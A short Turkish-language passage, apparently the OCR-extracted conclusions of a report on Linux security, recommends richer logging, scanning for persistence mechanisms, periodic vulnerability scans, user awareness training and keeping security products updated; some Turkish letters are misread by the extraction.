faydali metodolojilerin kullanilmasi i¢in yapilacak adimlar su sekilde siralanabilir:

Kurumlar igerisinde bulunan Linux Sistemler i¢in log kaynaklarinin zenginlestirilmesi ve log
akisinin  kontrolii kurumlar igerisinde olusan aktivitelerin aciga ¢ikmasi, kaynaginin
bulunmas1 ve aksiyonlarin daha hizli alinmasimi saglayabilir.

Es zamanli olarak daha fazla kaynaktan bilgi elde edilmesi gerekmektedir.

Kritik sistemlerde Linux yapilar1 kurulurken dikkat edilmesi gereken yontemler detayli olarak
belirlenmis ve agiklanmistir.

Kalicilik mekanizmalarinin tespiti igin sistemde gilivenlik taramalarinin yapilmasi gereklidir.
Son kullanici tarafindan 6zellestirilen kayitlarin toplanarak sistem iizerinde gerekli delillerin
gOriiniir olmasi saglanmalidir.

Linux sistemler iizerinde diizenli periyodlar ile zafiyet taramasi yaptirmamiz kurum giivenligi
acisindan kritik dneme sahiptir.

Siber giivenligin en biiylik zafiyetlerinden birisi olan insan zafiyetinin engellenmesi i¢in
kullanicilar siirekli bilgilendirilmelidir.

Bir kurumda siber giivenlik ihtiyaci doguyor ise gerekliligin iyice analiz edilerek kurumun
sektoriine, biytikliigiine ve gerekliligine gore en dogru siber giivenlik ¢ozlimleri segilmeli ve

stirekli olarak iirlinlerin giincellemesi takip edilerek giincellenmesi gerekmektedir.
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